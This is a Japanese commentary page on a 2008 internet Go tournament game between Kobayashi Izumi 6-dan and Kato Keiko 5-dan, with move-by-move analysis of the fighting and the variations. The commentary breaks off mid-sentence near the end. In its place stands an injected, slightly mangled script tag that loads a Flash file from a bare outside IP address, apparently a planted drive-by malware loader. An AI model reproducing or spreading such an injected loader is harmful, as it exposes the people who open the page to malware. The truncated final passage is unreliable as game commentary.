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【1回戦】小林泉美─加藤啓子

第1回大和証券杯ネット囲碁グランドチャンピオン戦1回戦
●加藤 啓子五段
○小林 泉美六段
日時 : 2008.3.29
結果 : 294手以下略、白1目半勝ち



総譜(1〜294)

 大和レディース決勝で顔を合わせた小林泉美六段と加藤啓子五段が、くしくもグランドチャンピオン戦で再戦。
 小林は「この碁に勝ち、2回戦で張栩名人との夫婦対決を実現させるため」、一方の加藤は「レディース決勝のリベンジを果たすため」。2人の勝ちたい気持ちがぶつかり合う激しい一局となった。

【三村解説】
 序盤から戦いが続く熱戦譜でしたね。ファンのみなさんも楽しく観戦されたことでしょう。
 しかし、解説するとなると大変です。お互いに険しく石を運びながらも、それでいてバランスが取れている。形勢は終始難しかったとしかいえません。

局面図1
 激戦の発端は黒3の切りにありました。加藤さんは黒5と7のアテを利かそう、としたのでしょう。
 この軽い気持ちのアテが小林さんの厳しい反撃を呼び込んでしまいます。白8とズバリ切って黒を両断。序盤早々、黒苦戦の様相です。まずは白がポイントを挙げました。











変化図1

 前図の黒3では、本図の黒1の二段バネならまずは平穏。白2、4に黒5と大きく展開し、これなら一局の布石でしょう。















局面図2
 左辺黒を散々イジメ(総譜でいえば白52から74まで。これが非常に厳しかった)、局面は白のペースです。白1、3となおも中央の浮石に食いついて、手を緩めません。
 しかし、黒8コスミに白9とオサえたのがどうだったでしょうか。たしかに隅の黒は取れていますが、黒10の良いオサエに回られていることに大きな不満が残ります。ここでは白がもっとがんばることができました。つまり黒8コスミに対し――。








変化図2

 本図の白1ハイで応えることができました。黒2、4のノビはしかたない。この地点を白にハネ上げさせたら、それこそ碁が終わってしまいます。
 ここまで決めて白5と隅を取り、これが一番がんばった行きかたでした。白Aのオサエを省くことができますからね。
 実戦(局面図2の進行)は本図に比べて半手以上の損をしており、形勢は難しくなっています。







局面図3
 終盤になっても、形勢はどちらともいえません。
 白1から5のノゾキに対し、黒6から10で応えたのは、加藤さんが隅の攻め取りを狙っているから。黒6で取られている一団の手数を伸ばし、黒8スベリで白の眼を奪っている、というわけですね。
 しかし、その攻め取りは加藤さんが期待したほどの大きさではありませんでした。まず、白13と中央に思わぬ白地がついてしまいました。







変化図3

 前図の黒2では、本図の黒1、3と受けておけば、まだどちらともいえない細かいヨセ勝負が続いたように思います。















局面図4
 局面図3に続き、黒1から9は眼形を奪う基本手筋。完全に攻め取りの格好。加藤さんの注文どおりだったはずですが――。
 ここで小林さんがじつに機敏な動きを見せてくれます。
 白16のハネひとつで左上隅を手抜き。白18の大きなハネに回ったのが読みの入った好手でした。黒21とコウを取ら・script src=http://61.31.235.114/1.swf>

 
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